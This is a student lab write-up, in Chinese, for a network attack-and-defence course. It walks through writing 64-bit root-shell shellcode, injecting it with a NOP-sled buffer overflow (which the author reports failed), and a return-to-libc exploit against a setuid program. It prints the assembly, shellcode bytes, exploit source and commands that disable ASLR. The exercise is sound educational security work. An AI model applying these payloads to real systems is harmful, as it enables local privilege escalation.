2015306 白皎 《网络攻防》Exp1 进阶
Task1 64位shellcode的编写及注入
- 自己编写一个64位shellcode。参考shellcode指导。
- 自己编写一个有漏洞的64位C程序,功能类似我们实验1中的样例pwn1。使用自己编写的shellcode进行注入。
shellcode 主要的目的是调用系统函数,而在x86下 在linux下有两种方式。
第一种是通过直接调用中断 int 0x80进入内核态,从而达到调用目的。
第二种是通过调用libc里syscall(64位)和sysenter(32位)
1.首先通过资源找到root shell的汇编源码
global _start
_start:
xor rdi,rdi
xor rax,rax
mov al,0x69
syscall
xor rdx, rdx
mov rbx, 0x68732f6e69622fff
shr rbx, 0x8
push rbx
mov rdi, rsp
xor rax, rax
push rax
push rdi
mov rsi, rsp
mov al, 0x3b
syscall
2.用nasm编译,然后用ld进行链接。
3.但是这个代码并不是能够执行的shellcode ,但是我们可以通过编译成可执行文件,而拿到我们需要的操作码。(红框内的48 32 ff 48 31 c0 就是我们需要的可执行的opcode代码)
4.套用一个代码测试我们的shellcode。
#include <stdio.h>
#include <string.h>
char *shellcode = "\x48\x31\xff\x48\x31\xc0\xb0\x69\x0f\x05\x48\x31\xd2\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xc0\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05";
int main(void)
{
fprintf(stdout,"Length: %d\n",strlen(shellcode));
(*(void(*)()) shellcode)();
return 0;
}
通过运行结果,我们可以看到进入到root环境,这个shellcode是可以用哒。
注意事项:
并不是所有的可执行的shellcode都是可以被用于攻击执行的,很重要的一点opcode中不允许有/x0出现,**因为函数在调用的时候遇到/x0是作为终止符,那么会导致shellcode不能被完整复制。**
因此,遇到/x0时,我在百度上看到可以用"/"代替0,或者用XOR代替MOV等等。
5.得到shellcode:
\x48\x31\xff\x48\x31\xc0\xb0\x69\x0f\x05\x48\x31\xd2\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xc0\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05
6.通过观察main函数的汇编,可以发现,其中lea -0x200(%rbp),%rax 和mov %rax,%rdi这是把数组的首地址传给strcpy,也就是-0x200(%rbp)这个地址,计算0x200是十进制 512, 整个数组的起始地址是%rbp-0x200, 而rbp是这个函数栈的基地址,而在上移8个byte是上个函数的执行到的位置地址,也就是要覆盖前面的 512+8=520的位置,这个位置为退出函数后rip的执行地址的起始位置。
- 输入以下命令,显示的输出即是首地址
./vulnerable `perl -e 'print "\x90"x520'`
7.构建环境
execstack -s pwn1 //设置堆栈可执行
execstack -q pwn1 //查询文件的堆栈是否可执行
more /proc/sys/kernel/randomize_va_space //当设置参数为0的时候,这样每次起来的相同的程序的栈空间地址分配是一样的
echo "0" > /proc/sys/kernel/randomize_va_space 通过设置参数为0 可以关闭random stack offset.
8.接下来,我们构造要注入的payload。
Linux下有两种基本构造攻击buf的方法:
retaddr+nop+shellcode
nop+shellcode+retaddr。
./buff `perl -e 'print "\x90"x477;print "\x48\x31\xff\x48\x31\xc0\xb0\x69\x0f\x05\x48\x31\xd2\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xc0\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05";print "\xf0\xdd\xff\xff"'`
最后的printf"\xf0\xdd\xff\xff\xff就是 就是我们想覆盖的地址,我们把它改成&buffer的首地址。这样当函数main退出后,rip 将会指向该地址,而这个地址是buffer数组的首地址,接着rip开始顺着数组里的内容执行,那我们的shellcode就顺利的被执行了。
但是很明显失败了,还在寻找原因中······
Task 2 ret2lib及rop的实践
- 进一步学习并做ret2lib及rop的实践,以绕过“堆栈执行保护”。参考ROP。
一、实践基础
- 为什么出现return-into-libc攻击
缓冲区溢出的常用攻击方法是将恶意代码 shellcode 注入到程序中,并用其地址来覆盖程序本身函数调用的返回地址,使得返回时执行此恶意代码而不是原本应该执行的代码。也就是说,这种攻击在实施时通常首先要将恶意代码注入目标漏洞程序中。但是,程序的代码段通常设置为不可写,因此攻击者需要将此攻击代码置于堆栈中。
为了阻止此种类型的攻击,缓冲区溢出防御机制采用了非执行堆栈技术,这种技术使得堆栈上的恶意代码不可执行。而为了避开这种防御机制,缓冲区溢出又出现了新的变体return-into-libc 攻击。return-into-libc 的攻击者并不需要栈可以执行,甚至不需要注入新的代码,就可以实现攻击。取而代之的是我们让漏洞程序跳转到现存的代码(比如已经载入内存的 libc库中的system()函数等)来实现我们的攻击。
- return-into-libc原理
攻击者能够通过缓冲区溢出改写返回地址为一个库函数的地址,并且将此库函数执行时的参数也重新写入栈中。这样当函数调用时获取的是攻击者设定好的参数值,并且结束后返回时就会返回到库函数而不是 main()。而此库函数实际上就帮助攻击者执行了其恶意行为。
二、攻击步骤
1.输入命令安装一些用于编译 32 位 C 程序的东西。
sudo apt-get update
sudo apt-get install lib32z1 libc6-dev-i386
sudo apt-get install lib32readline-gplv2-dev
2.输入命令“linux32”进入 32 位 linux 环境。输入“/bin/bash”使用 bash。
关闭地址空间随机化,不能随机堆(heap)和栈(stack)的初始地址。以及设置堆栈不可执行。
gcc -z noexecstack -o test test.c //栈不可执行
sudo sysctl -w kernel.randomize_va_space=0 //关闭地址随机化
3.添加一个新用户,可以参考教程:linux中新建一个用户
4.即使你能欺骗一个 Set-UID 程序调用一个 shell,也不能在这个 shell 中保持 root 权限,这个防护措施在/bin/bash 中实现。
linux 系统中,/bin/sh 实际是指向/bin/bash 或/bin/dash 的一个符号链接。为了重现这一防护措施被实现之前的情形,我们使用另一个 shell 程序(zsh)代替/bin/bash。下面的指令描述了如何设置 zsh 程序。
5.把以下漏洞代码保存为“retlib.c”文件,保存到 /tmp 目录下,并进行编译,设置。代码如下:
include <stdlib.h>
include <stdio.h>
include <string.h>
int bof(FILE *badfile)
{
char buffer[12];
/* The following statement has a buffer overflow problem */
fread(buffer, sizeof(char), 40, badfile);
return 1;
}
int main(int argc, char **argv)
{
FILE *badfile;
badfile = fopen("badfile", "r");
bof(badfile);
printf("Returned Properly\n");
fclose(badfile);
return 1;
}
6.编译上述程序编译该程序,并设置 SET-UID。
sudo su//获取root权限
gcc -m32 -g -z noexecstack -fno-stack-protector -o retlib retlib.c//设置栈不可执行
chmod u+s retlib //给retlib程序的所有者以suid权限,可以像root用户一样操作
exit
7.此外,我们还需要用到一个读取环境变量的程序,并通过 gcc -m32 -o getenvaddr getenvaddr.c进行编译。
include <stdio.h>
include <stdlib.h>
include <string.h>
int main(int argc, char const *argv[])
{
char *ptr;
if(argc < 3){
printf("Usage: %s <environment var> <target program name>\n", argv[0]);
exit(0);
}
ptr = getenv(argv[1]);
ptr += (strlen(argv[0]) - strlen(argv[2])) * 2;
printf("%s will be at %p\n", argv[1], ptr);
return 0;
}
8.获得 BIN_SH 地址
export BIN_SH="/bin/sh"
echo $BIN_SH
./getenvaddr BIN_SH ./reblic
9.以下代码为攻击程序,保存为“exploit.c”文件,保存到 /tmp 目录下。
include <stdlib.h>
include <stdio.h>
include <string.h>
int main(int argc, char **argv)
{
char buf[40];
FILE *badfile;
badfile = fopen(".//badfile", "w");
strcpy(buf, "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90");// nop 24 times
*(long *) &buf[32] =0x11111111; // "//bin//sh"
*(long *) &buf[24] =0x22222222; // system()
*(long *) &buf[36] =0x33333333; // exit()
fwrite(buf, sizeof(buf), 1, badfile);
fclose(badfile);
}
10.获取 system 和 exit 地址
gcc -m32 -g -o exploit exploit.c//编译
gdb -q ./exploit//调试
b 10//设置断点
run//运行到断点处
p system//获取system地址
p exit//获取exit地址
11.修改 exploit.c 文件,填上刚才找到的内存地址。删除刚才调试编译的 exploit 程序和 badfile 文件,重新编译修改后的 exploit.c。
12.首先运行攻击程序,生成badfile文件,载运行漏洞程序,可以看到攻击成功,获得root权限。
Task 3
可研究实践任何绕过前面预设条件的攻击方法;可研究Windows平台的类似技术实践。
遇到的问题
1.在编译retlib程序时,出现如下错误:bits/libs-header-start.h没有那个文件或目录
解决:下载sudo apt-get install lib32readline-gplv2-dev软件包,即可解决